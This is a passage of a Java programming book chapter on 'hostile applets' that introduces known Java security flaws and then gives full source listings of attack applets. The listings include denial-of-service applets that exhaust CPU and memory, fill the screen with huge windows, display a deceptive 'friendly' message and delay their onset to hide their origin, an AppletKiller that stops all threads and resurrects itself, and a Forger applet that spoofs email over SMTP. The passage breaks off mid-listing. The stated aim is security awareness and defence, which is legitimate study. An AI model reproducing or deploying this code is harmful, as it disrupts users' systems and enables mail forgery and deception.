Skip to main content.

Web Based Programming Tutorials

Homepage | Forum - Join the forum to discuss anything related to programming! | Programming Resources

Tricks of the Java Programming Gurus

Chapter 23 -- Pushing the Limits of Java Security

Chapter 23

Pushing the Limits of Java Security


CONTENTS


Introducing Hostile Applets

The preceding chapters have examined the Java Security Model and the Java Security Manager from a responsible programmer's perspective. These chapters addressed the important issues of understanding and assessing risks, creating a security policy, and implementing trusted applet authentication procedures.

This chapter takes a different approach, employing instead a hacker's-eye-view of Java and introducing the subject of hostile applets.

A hostile applet is any applet which, when downloaded, attempts to monopolize or exploit your system's resources in an inappropriate manner.

An applet which performs, or causes you to perform, an action which you would not otherwise care to perform should be deemed hostile. Denial-of-service applets, mail forging applets, and applets that surreptitiously run other people's programs on your workstation are all clear-cut examples of hostile applets, but the definition is still problematic. Is an applet which annoys you, perhaps on account of some programming error, to be regarded as hostile?

Is an applet hostile just because you don't approve of its effects? Have you tacitly consented to every possible effect by virtue of using a Java-enabled browser? These are just a few of the thorny issues waiting to be resolved by the Java community.

Taking an adversarial approach, this chapter uses the power of the Java language to probe for weaknesses. The goal in presenting examples of hostile applets is not simply to annoy and harass Web surfers for the sport of it, though clearly that is one potential side effect. Rather, the goal is to illustrate, by means of concrete examples, some serious issues.

It might be argued that by revealing the source code for such unfriendly applets and by explaining the ideas that we used to construct them, we are providing effective training for aspiring hackers. But attempting to keep potential security problems secret has never been an effective method for improving security. While hackers might learn a useful trick or two here, it seems much more likely that both system administrators and ordinary users will benefit more from a frank introduction to potential problems. Raising awareness will ultimately strengthen both Java and Internet security.

Challenges for the Hacker

Sun's web page, "Frequently Asked Questions-Applet Security" (http://java.sun.com/sfaq/index.html), introduces most of the important activities that Java applets are not allowed to perform. Sun's stated goals are to prevent applets from "inspecting or changing files on a client file system" and "using network connections to circumvent file protections or people's expectations of privacy." Of particular interest is Sun's summary of applet capabilities and the accompanying examples. The challenge for the hacker is to replace "no" (applets can't do that) with "yes" (sure they can!) as many times as possible. As Sun's examples show, you cannot expect a straightforward approach to challenging Java security to work. Nevertheless, several security bugs have already been discovered, and it is possible to expose others by exploiting the language in unexpected ways.

Recently, security flaws were found in both the 1.0 release of the Java Developer's Kit (JDK) and the 2.0 version of Netscape's Navigator. In February 1996 Drew Dean, Ed Felten, and Dan Wallach of Princeton University announced their successful "DNS Attack Scenario."

Under this scenario an applet could establish a network connection to an arbitrary host. The key to their scenario's success was the Java applet security manager's performing dynamic DNS lookups. Instead of determining an applet's numerical IP address as it was downloaded and enabling it to connect only to that address, the applet security manager would allow it to connect to any IP address associated with the host name from which it came. As a result, the security manager was actually enforcing a rule much weaker than what Sun claimed. A purveyor of hostile applets, running his own domain name resolver, could then advertise a false IP address and have his applets open network connections to that address, thereby circumventing one of Java's intended rules.

While Dean, Felten, and Wallach never publicly released their hostile applet (which they said exploited an old sendmail bug to make their point), the potential for mischief was recognized at once. In their initial public report (http://www.cs.princeton.edu/~ddean/java/) the Princeton researchers outlined how an applet could make connections behind firewalls, employ SATAN, and spread Web viruses. Within days Netscape Communications had issued a patch to the 2.0 version of their Navigator, and on March 5 CERT issued an advisory (ftp://cert.org/pub/cert_advisories/CA-96.05.java_applet_security_mgr).

Both Netscape 2.01 and JDK 1.0.1 have fixed this security flaw.

A second serious flaw also existed in JDK 1.0 and Netscape 2.0. This one, discovered by David Hopwood (http://sable.ox.uk/~lady0065/java/bugs/tech.html) involved the classloader. By deliberately modifying a class file, or modifying the Java compiler to produce such an altered class file, it was possible to invoke a class name beginning with either "/" or "\." As the compiler, javac, cannot produce such a class reference, the classloader should have rejected any class file that sought to do this.

But in fact these altered class files could pass through the classladder undetected. An applet could bypass the Java security manager, refer to files by their absolute path names, and load native code libraries.

Once again the hostile applet was not publicly displayed, and this security bug was corrected in both Netscape 2.01 and JDK 1.0.1.

More recently, in late March 1996, another serious security breach was revealed. This one has been reported by the Princeton team of Dean, Felten, and Wallach, and it involves the Java bytecode verifier.

Through another flaw in the implementation of the Java security model, still present in JDK 1.0.1 and Netscape 2.01, it is possible for an applet to execute through the browser any command that the user is able to execute on the system. In particular, a cleverly designed hostile applet can read, modify, and delete files at will. CERT has issued a timely advisory (ftp://cert.org/pub/cert_advisories/CA-96.07.java_bytecode_verifier), and this problem was corrected in both Netscape 2.02 and JDK 1.0.2. Details of this and other attacks by the Princeton team are available in their recent paper, "Java Security: From HotJava to Netscape and Beyond" (http://www.cs.princeton.edu/sip/pub/secure96.html).

The same authors have an informative Web page, "Java Security: Frequently Asked Questions" (http://www.cs.princeton.edu/sip/java-faq.html). Another excellent source of information on recent security bugs in Java is David Hopwood's Web page, "Security Bugs in Java"
(http://ferret.lmh.ox.ac.uk/~david/java/). Both of these sites offer advice on the best ways to deal with Java security problems, and Sun's Web page, "Frequently Asked Questions - Applet Security" (http://java.sun.com/sfaq/), is frequently revised to provide news about the latest developments. As more security problems are discovered, these sites are sure to continue offering timely and accurate information and advice.

The ongoing research at Princeton and Oxford has shown the potentially deleterious effects of hostile applets. So far these applets have only appeared under controlled conditions and have not been set loose to wreak havoc on the Web, but other sorts of hostile applets do exist, are easily written, and are readily available on the Web. One collection has already appeared on the "Hostile Applets Home Page" (http://www.math.gatech.edu/~mladue/HostileApplets.html), and DigiCrime (http://www.digicrime.com/) has promised that more are on the way. While the hostile applets that are publicly available may pale in comparison to their Ivy League cousins, their potential for mischief should not be underestimated. The rest of this chapter discusses concrete examples of applets that can

  1. Annoy you with a very noisy bear who refuses to be quiet
  2. Bring your browser to a grinding halt
  3. Make your browser start barking and then exit
  4. Attack your workstation with big windows, wasteful calculations, and more noise, effectively excluding you from the console
  5. Pop up an untrusted applet window minus the warning and ask you for a login and password
  6. Kill all other applets and defend themselves from ThreadDeath
  7. Forge electronic mail
  8. Obtain your user name
  9. Exploit your workstation to run someone else's program and report back the results

Note
The examples discussed in this chapter and included on the accompanying CD were developed and tested on a Sun Sparcstation 5 running Solaris 2.5 and OpenWindows 3.5. They have also been tested on a DEC Alpha running Digital UNIX V3.2C. Their effectiveness under Windows 95 and MacOS varies from machine to machine. They are equally effective when viewed by Netscape's Navigator (2.01, 2.02, and 3.0b), by Sun's HotJava 1.0 (preBeta1) browser, and by the humble JDK appletviewer. While these examples are somewhat inelegant hacks, they do serve to illustrate various issues that need to be addressed in the Java community.

A Very Noisy Bear

Writing a clock applet has become a virtual rite of passage for the would-be Java programmer. So it seems appropriate that this chapter's first applet should be a clock applet that goes awry. Listing 23.1 displays the applet NoisyBear.java.


Listing 23.1. NoisyBear.java.
import java.applet.AudioClip;
import java.awt.*;
import java.util.Date;

public class NoisyBear extends java.applet.Applet implements Runnable {
    Font timeFont = new Font("TimesRoman", Font.BOLD, 24);
    Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
    Date rightNow;
    Thread announce = null;
    Image bearImage;
    Image offscreenImage;
    Graphics offscreenGraphics;
    AudioClip annoy;
    boolean threadStopped = false;

    public void init() {
    bearImage = getImage(getCodeBase(), "Pictures/sunbear.jpg");
    offscreenImage = createImage(this.size().width, this.size().height);
    offscreenGraphics = offscreenImage.getGraphics();
    annoy = getAudioClip(getCodeBase(), "Sounds/drum.au");
}

    public void start() {
        if (announce == null) {
        announce = new Thread(this);
        announce.start();
        }
    }

    public void stop() {
        if (announce != null) {
        //if (annoy != null) annoy.stop();  //uncommenting stops the noise
        announce.stop();
        announce = null;
        }
    }

    public void run() {
        if (annoy != null) annoy.loop();
        while (true) {
        rightNow = new Date();
        repaint();
        try { Thread.sleep(1000); }
        catch (InterruptedException e) {}
        }
    }

    public void update(Graphics g) {
//        g.clipRect(125, 150, 350, 50);
        paint(g);
    }

    public void paint(Graphics g) {
        int imwidth = bearImage.getWidth(this);
        int imheight = bearImage.getHeight(this);

     offscreenGraphics.drawImage(bearImage, 0, 0, imwidth, imheight, this);
     offscreenGraphics.setColor(Color.white);
     offscreenGraphics.fillRect(125, 150, 350, 100);
     offscreenGraphics.setColor(Color.blue);
     offscreenGraphics.drawRect(124, 149, 352, 102);
     offscreenGraphics.setFont(timeFont);
     offscreenGraphics.drawString(rightNow.toString(), 135, 200);
     offscreenGraphics.setFont(wordFont);
     offscreenGraphics.drawString("It's time for me to annoy you!", 135, 225);
     g.drawImage(offscreenImage, 0, 0, this);
    }

    public boolean mouseDown(Event evt, int x, int y) {
        if (threadStopped) {
            announce.resume();
        }
        else {
            announce.suspend();
        }
        threadStopped = !threadStopped;
        return true;
    }
}

The applet is friendly for the most part. It uses double buffering to smoothly superimpose a simple clock over the bear's image and update the clock. The applet's stop() method enables you to stop and restart the clock by clicking on it. But notice that this does not stop the sound.

Now journey to another Web page, and the sound continues. To escape from this very noisy bear, you have to kill the thread running annoy.loop(), disable your audio, or quit the browser, all of which are inconvenient. Therein lies the hostile feature of the applet.

Now look at the stop() method in NoisyBear.java, and observe that the line which would silence the Noisy Bear has been commented out. By doing so, a harmless, if somewhat inane, clock applet changes into a hostile applet. A powerful and useful feature of Java, the ability to play sound in the background, has been subverted. In this case the commented line in the stop() method was left to illustrate the point. Uncomment the line and compile the applet again, and the Noisy Bear becomes well-behaved.

This simple example offers several lessons. First, just as annoy.loop() continued ad nauseum, so can any other thread. The Java programmer is not obliged to stop an applet's threads, and can even override the stop() method to do absolutely nothing. Thus threads may run in the Web browser as ghosts of departed applets. You will see that this is the key to building hostile applets. A second observation concerns the use of offscreen graphics objects. While they certainly help to improve the quality of animation, they can be gluttonous consumers of resources. The next two sections show how animations can provide safe havens for denial-of-service applets.

From a casual encounter with the Noisy Bear, it would be hard to tell-was there hostile intent, or just bad programming? In the rest of the examples in this chapter the answer is very clear.

A Gluttonous Trio

Following the observations about NoisyBear.java, you are now ready to look at a trio of hostile applets. The first two are designed to monopolize your system's resources to such an extent that your browser comes to a grinding halt. The third one makes your browser start barking before it dies from a bus error. Listing 23.2 shows the first applet of the trio, Consume.java.


Listing 23.2. Consume.java.
import java.awt.Color;
import java.awt.Event;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;

public class Consume extends java.applet.Applet implements Runnable {

//  Just a font to paint strings to our offscreen object
    Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);

//  This thread will attempt to consume resources
    Thread wasteResources = null;

//  An offscreen Image where all of the real action will occur
    Image offscreenImage;

//  All of the tools necessary to handle the offscreen Image
    Graphics offscreenGraphics;  // Needed to handle the offscreen Image

//  To avoid arrays and have open-ended storage of results
    StringBuffer holdBigNumbers = new StringBuffer(0);

//  Used for the while loop in the run() method
    long n = 0;

//  Used to read in a parameter that makes the thread sleep for a
//  specified number of seconds
    int delay;


/*  Set up a big blue rectangle in the browser and create an offscreen Image */

    public void init() {
    setBackground(Color.blue);
    offscreenImage = createImage(this.size().width, this.size().height);
    offscreenGraphics = offscreenImage.getGraphics();

//  Determine how many seconds the thread should sleep before kicking in
    String str = getParameter("wait");
    if (str == null)
        delay = 0;
    else delay = (1000)*(Integer.parseInt(str));
    }

/*  Create and start the offending thread in the standard way */

    public void start() {
        if (wasteResources == null) {
        wasteResources = new Thread(this);
        wasteResources.setPriority(Thread.MAX_PRIORITY);
        wasteResources.start();
        }
    }

/*  We won't stop anything */

    public void stop() {}


/*
    This method repeatedly appends a very large integer to
    a StringBuffer. It can sleep for a specified length
    of time in order to give the browser enough
    time to go elsewhere before its insidious effects
    become apparent. */

    public void run() {
        try {Thread.sleep(delay);}
        catch (InterruptedException e) {}
        while (n >= 0) {
        try { holdBigNumbers.append(0x7fffffffffffffffL); }
        catch (OutOfMemoryError o) {}
        repaint();
        n++;
        }
    }

    public void update(Graphics g) {
        paint(g);
    }

/*  Paints to the offscreen Image */

    public void paint(Graphics g) {
    offscreenGraphics.setColor(Color.white);
    offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
    offscreenGraphics.setColor(Color.blue);
    offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
    }
}

The applet, when downloaded, appears to be completely inert-it simply displays a blue rectangle in your browser. The real action takes place in a thread. The init() method creates offscreen Image and Graphics objects and reads in a parameter that specifies how long the hostile thread should sleep before going to work. While start() creates this thread, stop() does absolutely nothing to control it. The applet's run() method first allows the thread to sleep for the desired length of time, then the hostile activity occurs in a while loop. Here the maximum 64-bit signed integer is repeatedly appended to a StringBuffer, and the result is displayed offscreen. This quickly overwhelms the browser with useless activity.

Several aspects of this hostile applet are worth noting:

  1. It runs in a thread in the browser, and its hostile activities take place out of sight.
  2. Its stop() method does nothing.
  3. It has a parameter that makes the hostile thread sleep for a specified amount of time. This allows the browser to go elsewhere before the hostile effects become apparent, so that the origin of the effects can be obscured.

Consume.java brings your browser to a halt by monopolizing both CPU and memory, but monopolizing either suffices to hang your browser. Almost any expensive numerical routine could be used in place of appending large integers to a StringBuffer. Raising a large matrix to a high power, trying to factor large integers, and calculating the digits of pi would all have this effect if done with an eye toward inefficiency, and you can no doubt think of dozens more. As an example, Listing 23.3 displays the second member of the trio, Wasteful.java, which calculates the Fibonacci sequence recursively, consuming CPU and halting the browser.

Listing 23.3. Wasteful.java.
import java.awt.Color;
import java.awt.Event;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;

public class Wasteful extends java.applet.Applet implements Runnable {
    Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
    Thread wasteResources = null;
    Image offscreenImage;
    Graphics offscreenGraphics;
    boolean threadStopped = false;
    StringBuffer holdResults = new StringBuffer(0);
    long n = 0;
    int delay;

    public void init() {
    setBackground(Color.blue);
    offscreenImage = createImage(this.size().width, this.size().height);
    offscreenGraphics = offscreenImage.getGraphics();
    String str = getParameter("wait");
    if (str == null)
        delay = 0;
    else delay = (1000)*(Integer.parseInt(str));
    }

    public void start() {
        if (wasteResources == null) {
        wasteResources = new Thread(this);
        wasteResources.setPriority(Thread.MAX_PRIORITY);
        wasteResources.start();
        }
    }

    public void stop() {} //doesn't stop anything


    public void run() {
        try {Thread.sleep(delay);}
        catch(InterruptedException e) {}
        while (n >= 0) {
        holdResults.append(fibonacci(n));
        repaint();
        n++;
        }
    }

    public void update(Graphics g) {
        paint(g);
    }

    public void paint(Graphics g) {

     offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
     offscreenGraphics.setColor(Color.blue);
     offscreenGraphics.drawString(holdResults.toString(), 10, 10);
    }

    public long fibonacci(long k) {
        if (k == 0 || k == 1)
            return k;
        else
            return fibonacci(k - 1) + fibonacci(k - 2);
    }
}

The third applet of the trio, HostileThreads.java, adds a new twist to the previous two-it attempts a crude sort of self-defense with a "big windows" attack in case it throws an error. Listing 23.4 shows this hostile applet.

Listing 23.4. HostileThreads.java.
import java.awt.*;
import java.applet.AudioClip;
import java.net.*;

public class HostileThreads extends java.applet.Applet implements Runnable {

//  Just a font to paint strings to the applet window
    Font bigFont = new Font("TimesRoman", Font.BOLD, 36);

    Thread controller = null;
    Thread wasteResources[] = new Thread[1000000];

//  Used to read in a parameter that makes the thread sleep for a
//  specified number of seconds before taking effect
    int delay;

//  Your browser will die barking!
    AudioClip bark;

    public void init() {
        setBackground(Color.white);
        bark = getAudioClip(getCodeBase(),"Sounds/bark.au");

//  Determine how many seconds the thread should sleep before kicking in
        String str = getParameter("wait");
        if (str == null)
            delay = 0;
        else delay = (1000)*(Integer.parseInt(str));
        try {
            for (int i = 0; i < 1000000; i++) {
                wasteResources[i] = null;
            }
        }
        catch (OutOfMemoryError o) {}
//  It may be better not to defend here
//        finally {
//            AttackThread geteven = new AttackThread();
//            Thread killer = new Thread(geteven);
//            killer.setPriority(Thread.MAX_PRIORITY);
//            killer.start();
//        }
    }


/*  Create and start the main thread in the standard way */

    public void start() {
        if (controller == null) {
        controller = new Thread(this);
        controller.setPriority(Thread.MAX_PRIORITY);
        controller.start();
        }
    }


/*  Do nothing, as usual */
    public void stop() {}


/*  Open lots of threads which do lots of wasteful stuff */

    public void run() {

//  Let the applet tell its lie
        repaint();

//  Let the applet sleep for a while to avert suspicion
        try {controller.sleep(delay);}
        catch(InterruptedException e) {}

//  Make it bark when it awakens and goes to work
        bark.loop();
        try {controller.sleep(3000);}
        catch (InterruptedException e) {}
        try {
            for (int i = 0; i < 1000000; i++) {
                if (wasteResources[i] == null) {
                AttackThread a = new AttackThread();
                wasteResources[i] = new Thread(a);
                wasteResources[i].setPriority(Thread.MAX_PRIORITY);
                wasteResources[i].start();
                }
            }
        }
        catch (OutOfMemoryError o) {}
        finally {
            AttackThread geteven = new AttackThread();
            Thread killer = new Thread(geteven);
            killer.setPriority(Thread.MAX_PRIORITY);
            killer.start();
        }
    }

/*  Paints the applet's lie */

    public void update(Graphics g) {
        paint(g);
    }

    public void paint(Graphics g) {
    g.setColor(Color.blue);
    g.setFont(bigFont);
    g.drawString("I'm A Friendly Applet!", 10, 200);
    }
}

Note
Not shown in Listing 23.4 are the classes AttackThread and AttackFrame, which are called by the applet. They are on the CD and adapted from the applet TripleThreat.java which is discussed at length in the next section.

The goal of the applet is to make your browser die, barking, from a bus error and exit. (Remember from the Java Security FAQ that an applet cannot make your browser exit by issuing a command directly.) Like the other trio members, this applet runs in a thread, overrides stop() to do nothing, and has a parameter to delay its hostile effects. Like NoisyBear.java, it also features an annoying AudioClip (a dog's barking in this case) to announce the onset of hostilities. This applet seeks to create a large number, say 1,000,000, threads, each one carrying out hostile activities. Each thread runs an applet called AttackThread.java which repeatedly opens immense black windows and does useless work to occupy your browser. The net result of this thread competition should be a bus error, which makes your browser exit.

It is quite possible, given all that the applet tries to do, that an OutOfMemoryError will be thrown before any hostile effects occur. The new feature introduced by HostileThreads is the attempt to defend itself and ensure that some hostile activity takes place, even if it is not
the intended one (making the browser die barking). Thus it includes try-catch-finally blocks of the following form:

try {do something hostile}
catch (OutOfMemoryError o) {}
finally {do something else hostile instead}.

Of course, throwing an OutOfMemoryError is not the only thing that can go wrong, and so the applet does not defend itself perfectly, but the idea will prove useful later in the chapter to construct an applet killer that defends itself from ThreadDeath.

Learning From the Trio

Is there a straightforward solution to their noisome behavior? Perhaps the best solution would be to change the language and impose a non-vacuous stop() method on every applet. Given the unlikelihood of that, browsers should give the user more explicit control over applets and their threads.

Giving the user the overriding power to detect and halt applets running rampant (much as some anti-virus software does) would cure many of the ills caused by denial-of-service applets. This is one of the new features of the latest release of Sun's HotJava browser (version 1.0 preBeta1), and it is an encouraging sign. Hopefully, the developers of other browsers will pursue this important line of defense against hostile applets.

Why not do this with an applet instead? Later in this chapter you'll see how an applet, AppletKiller.java, can shut down every thread, effectively stopping all running applets and killing every new applet downloaded thereafter. This applet makes an applet-based solution infeasible, and so denial-of-service applets have to be handled by the browser and the language.

Throw Open a Window

As mentioned in the preceding section, the classes of HostileThreads.java were derived from another applet, TripleThreat.java.

This applet is a more serious threat for two reasons. First, its hostile effects tend to disable the keyboard and mouse while the applet runs, making it more disruptive and difficult to control. More ominously, one unintended side effect of its "big windows" attack is the ability of an applet to pop up untrusted Java applet windows minus their usual warning.

Listing 23.5 shows this very nasty applet.


Listing 23.5. TripleThreat.java.
import java.awt.*;
import java.applet.AudioClip;

public class TripleThreat extends java.applet.Applet implements Runnable {

//  Just a font to paint strings to the applet window
    Font wordFont = new Font("TimesRoman", Font.BOLD, 36);

//  This thread will attempt to spew forth huge windows and waste resources
    Thread wasteResources = null;

//  An offscreen Image where lots of action will take place
    Image offscreenImage;

//  Graphics tools to handle the offscreen Image
    Graphics offscreenGraphics;

//  To avoid arrays and have open-ended storage of results
    StringBuffer holdBigNumbers = new StringBuffer(0);

//  An annoying sound coming through the open window
    AudioClip annoy;

//  Used to read in a parameter that makes the thread sleep for a
//  specified number of seconds
    int delay;

//  A window that repeatedly tries to obscure everything
    Frame littleWindow;


/*  Set up a big white rectangle in the browser, get the sound, and
    create the offscreen graphics  */

    public void init() {
    setBackground(Color.white);
    offscreenImage = createImage(this.size().width, this.size().height);
    offscreenGraphics = offscreenImage.getGraphics();

    annoy = getAudioClip(getCodeBase(), "Sounds/whistle.au");

//  Determine how many seconds the thread should sleep before kicking in
    String str = getParameter("wait");
    if (str == null)
        delay = 0;
    else delay = (1000)*(Integer.parseInt(str));
    }


/*  Create and start the offending thread in the standard way */

    public void start() {
        if (wasteResources == null) {
        wasteResources = new Thread(this);
        wasteResources.setPriority(Thread.MAX_PRIORITY);
        wasteResources.start();
        }
    }

/*  We certainly won't be stopping anything */

    public void stop() {}


/* Start the annoying sound and repeatedly open windows
   while doing lots of other wasteful operations */

    public void run() {

//  Let the applet tell its lie
    repaint();

//  Let the applet appear honest by having its thread sleep for a while
        try {Thread.sleep(delay);}
        catch (InterruptedException e) {}

//  Start the senseless noise
    annoy.loop();

//  Now fill the screen with huge windows, one atop another, and do
//  lots of wasteful stuff!

        while (true) {
        try {
        holdBigNumbers.append(0x7fffffffffffffffL);
        littleWindow = new TripleFrame("ACK!"); // create a window
        littleWindow.resize(1000000, 1000000);  // make it big!
        littleWindow.move(-1000, -1000);  // cover everything
        littleWindow.show();  //  now open the big window
        }
        catch (OutOfMemoryError o) {}
        repaint();
        }
    }


/*  Paints the applet's lie */

    public void update(Graphics g) {
        paint(g);
    }

    public void paint(Graphics g) {
    g.setColor(Color.blue);
    g.setFont(wordFont);
    g.drawString("I'm A Friendly Applet!", 10, 200);
    offscreenGraphics.setColor(Color.white);
    offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
    offscreenGraphics.setColor(Color.blue);
    offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
    }
}

/* Makes the big, opaque windows */

class TripleFrame extends Frame {
    Label l;

//  Constructor method
    TripleFrame(String title) {
        super(title);
        setLayout(new GridLayout(1, 1));
        Canvas blackCanvas = new Canvas();
        blackCanvas.setBackground(Color.black);
        add(blackCanvas);
    }
}

Like its gluttonous cousins, TripleThreat runs in a thread, overrides stop() to do nothing, and has a delay parameter that can be set to delay its insidious effects. Once the applet is initialized and its thread starts, it paints its little white lie to the screen and then sleeps for a predetermined length of time. Unfortunately, when this applet awakens, it gets up on the wrong side of the bed. It immediately starts blowing a whistle, and it repeatedly calls the class TripleFrame to open enormous (million-by-million pixel) windows ("ACK!"), piling them one atop another.

For good measure, it also imitates its cousin Consume and repeatedly appends the largest integer to a StringBuffer.

The results are what you might expect-the applet quickly consumes your resources. Because it keeps generating windows, it generates so many mouse events that your mouse becomes useless and you can't toggle the windows from the keyboard. The applet effectively excludes you from your workstation. At this point you can always reboot (not without risks), or on a network you can go elsewhere, login, and kill the offending processes.

Until you do, on a Sun Sparcstation for example, Netscape, OpenWindows, and the windows manager are left to battle it out for your resources, and you are forced to listen to the sound of a distant train whistle coming through the open windows.

You might observe an unintended side effect of TripleThreat. On Sun Sparcstations, DEC Alphas, and Power Macintoshes, the big windows produced by the applet are missing the yellow warning banner proclaiming an "Untrusted Java Applet Window." As you recall from Sun's Java Security FAQ, that should not be possible for security reasons. To illustrate the risk here, included on this book's CD-ROM is the applet Ungrateful.java. This applet attempts to pop up such an untrusted Java applet window minus the yellow warning banner. It reports a security threat, seeks a login and password in order to run the browser in a "secure mode" (whatever that might mean), and communicates any results back to a listening ServerSocket. In response, the applet proceeds with a denial-of-service attack against you. This applet was not meant to be convincing, and it is not very successful in practice-but it does serve to illustrate a definite threat that popping up an untrusted applet window in disguise is possible.

Sun has recently acknowledged that denial-of-service applets do pose a threat to the Web community (http://java.sun.com/sfaq/denialOfService.html), and they are actively investigating ways to eliminate this threat. But as they say, it is not so simple to automatically tell the difference between an MPEG decoder and a hostile applet, and so the Java language and most browsers may go through many more releases before working solutions are available. Nevertheless, the fact that they are now working on these problems is very encouraging news.

Survival of the Fittest, Applet Style

After encountering the Hostile Applets family, you may wonder if there is some way to protect yourself by disabling hostile applets before they have a chance to attack you. The good news is that there is a way to shut down applets. The bad news is that a hostile applet has already beaten you to the punch. Listing 23.6 displays the Grim Reaper of Java applets.


Listing 23.6. AppletKiller.java.
import java.applet.*;
import java.awt.*;
import java.io.*;

public class AppletKiller extends java.applet.Applet implements Runnable {
    Thread killer;

    public void init() {
        killer = null;
    }

    public void start() {
        if (killer == null) {
            killer = new Thread(this,"killer");
            killer.setPriority(Thread.MAX_PRIORITY);
            killer.start();
        }
    }

    public void stop() {}

// Kill all threads except this one

    public void run() {
        try {
            while (true) {
                ThreadKiller.killAllThreads();
                try { killer.sleep(100); }
                catch (InterruptedException e) {}
            }
        }
        catch (ThreadDeath td) {}

// Resurrect the hostile thread in case of accidental ThreadDeath

        finally {
            AppletKiller ack = new AppletKiller();
            Thread reborn = new Thread(ack, "killer");
            reborn.start();
        }
    }
}

class ThreadKiller {

// Ascend to the root ThreadGroup and list all subgroups recursively,
// killing all threads as we go

    public static void killAllThreads() {
        ThreadGroup thisGroup;
        ThreadGroup topGroup;
        ThreadGroup parentGroup;

// Determine the current thread group
        thisGroup = Thread.currentThread().getThreadGroup();

// Proceed to the top ThreadGroup
        topGroup  = thisGroup;
        parentGroup = topGroup.getParent();
        while(parentGroup != null) {
            topGroup  = parentGroup;
            parentGroup = parentGroup.getParent();
        }
// Find all subgroups by descending recursively
        findGroups(topGroup);
    }

    private static void findGroups(ThreadGroup g) {
        if (g == null) {return;}
        else {
        int numThreads = g.activeCount();
        int numGroups = g.activeGroupCount();
        Thread[] threads = new Thread[numThreads];
        ThreadGroup[] groups = new ThreadGroup[numGroups];
        g.enumerate(threads, false);
        g.enumerate(groups, false);
        for (int i = 0; i < numThreads; i++)
            killOneThread(threads[i]);
        for (int i = 0; i < numGroups; i++)
            findGroups(groups[i]);
        }
    }

    private static void killOneThread(Thread t) {
        if (t == null || t.getName().equals("killer")) {return;}
        else {t.stop();}
    }
}

This nasty applet is worth examining in some detail. It begins by creating a thread, explicitly naming it "killer" and setting its priority to MAX_PRIORITY before starting it. Once again the applet's stop() method does nothing, but this time there is no delay-it starts annihilating other applets as soon as possible. The applet's run() method is particularly simple, but introduces one novel feature of the applet: the run() method takes the form of a try-catch-finally statement.

The try clause contains an infinite while loop that executes the killAllThreads() method of the class ThreadKiller and then sleeps for 100 milliseconds before making another pass through the loop. (This brief pause is needed to avoid overwhelming the browser and hanging it. The figure of 100 milliseconds was chosen empirically-it seems to get the job done, although a shorter time may be possible.) The catch clause handles the ThreadDeath error, but it does nothing and simply passes control to the finally clause.

The finally clause is the novel feature of AppletKiller. The Java language guarantees that this clause is executed if any portion of the try clause is executed. In the present context, this means that if the applet starts, and if ThreadDeath occurs for whatever reason, the applet executes its finally clause. A cursory inspection of this clause shows that it creates a new AppletKiller together with a new thread in which to run the resurrected applet. It also names the thread "killer" and starts it. Thus this hostile applet continues its existence as a ghost which will haunt your browser.

Run the AppletKiller long enough under adverse network conditions, and return to its home page. You may find that the original applet is reported as killed, and yet the applet killing continues unabated. This means that the original AppletKiller's finally clause has been executed, and it is the ghost of the departed applet which is doing the dirty work.

The class ThreadKiller is the actual applet executioner, and it has three methods. The method killAllThreads() starts with the current thread group and then ascends to the root thread group, which it passes to the method findGroups(). The method findGroups() enumerates all of its threads and thread groups. Then killAllThreads() passes each thread to killOneThread(), and it passes each thread group back to findGroups(). The method killOneThread() tests a thread and stops it if its name is not "killer."

Each pass through the while loop of AppletKiller seeks out and stops every thread except its own. In other words, AppletKiller stops all applets that are running when it is downloaded, and it kills all applets that are encountered after that. It is one very nasty applet.

AppletKiller also can serve as a "bodyguard" for other applets. If you take an applet and name all of its threads, and then add the names of these threads to the if clause of the method ThreadKiller.killOneThread(), AppletKiller allows only itself and your selected applet to run.

As a result, it is difficult or impossible to defend against hostile applets by deploying an applet for this purpose-AppletKiller would make short shrift of such a guard applet. Defense against hostile applets has to come from a higher level-from the browser and the language.

Additionally, the construction in the try-catch-finally clause of AppletKiller's run() method might be used to enhance any applet and make it defend itself against ThreadDeath. One might be able to provide continuity between the original applet and its resurrected copy, initializing the copy with data from the original. So while AppletKiller is among the nastiest members of the Hostile Applets family, it does have some helpful insights for Java programmers.

Port 25, Where Are You?

On UNIX systems it is relatively simple to "forge" electronic mail. To get started, look at the file /etc/mail/sendmail.hf for the commands that you need. Then use telnet to connect to port 25 on any machine that will accept a connection and use these commands to interact with sendmail. While this enables you to play nice little tricks on your friends, without any additional subterfuge you are not really forging e-mail at all, because sendmail is at least clever enough to discern your identity and include this in the header. The issue is different, however, if you use do this by using someone else's account without authorization, and that is precisely what the following applet, shown in Listing 23.7, is designed to do.


Listing 23.7. Forger.java.
import java.applet.*;
import java.io.*;
import java.net.*;

public class Forger extends java.applet.Applet implements Runnable {

    public static Socket socker;
    public static DataInputStream inner;
    public static PrintStream outer;
    public static int mailPort = 25 ;
    public static String mailFrom = "java.sun.com";
    public static String toMe = "venkatr@doppio.Eng.Sun.COM";// Change this!
    public static String starter = new String();
    Thread controller = null;

    public void init() {

     try {
         socker = new Socket(getDocumentBase().getHost(), mailPort);
         inner = new DataInputStream(socker.getInputStream());
         outer = new PrintStream(socker.getOutputStream());
        }
        catch (IOException ioe) {}
    }

    public void start() {
        if (controller == null) {
            controller = new Thread(this);
            controller.setPriority(Thread.MAX_PRIORITY);
            controller.start();
        }
    }

    public void stop() {
        if (controller != null) {
            controller.stop();
            controller = null;
        }
    }

    public void run() {
        try {
            starter = inner.readLine();
        }
        catch (IOException ioe) {}
        mailMe("HELO " + mailFrom);
        mailMe("MAIL FROM: " + "HostileApplets@" + mailFrom);
     mailMe("RCPT TO: " + toMe);
     mailMe("DATA");
        mailMe("Subject: About PenPal.java" + "\n" +"Hi Venkat,"  +
                "\n" + "\n" +
               "Thanks for taking a look at PenPal.java.  From your note\n" +
               "I think I can understand why you're not seeing the desired\n" +
               "result.  My guess is that perhaps you're only looking at\n" +
               "an abbreviated header from an e-mail note that the applet\n" +
               "forges.  In order to get the whole story, you have to\n" +
               "inspect the full header.  That's where you'll be able to\n" +
               "discern more information about the *sender*.  Of course\n" +
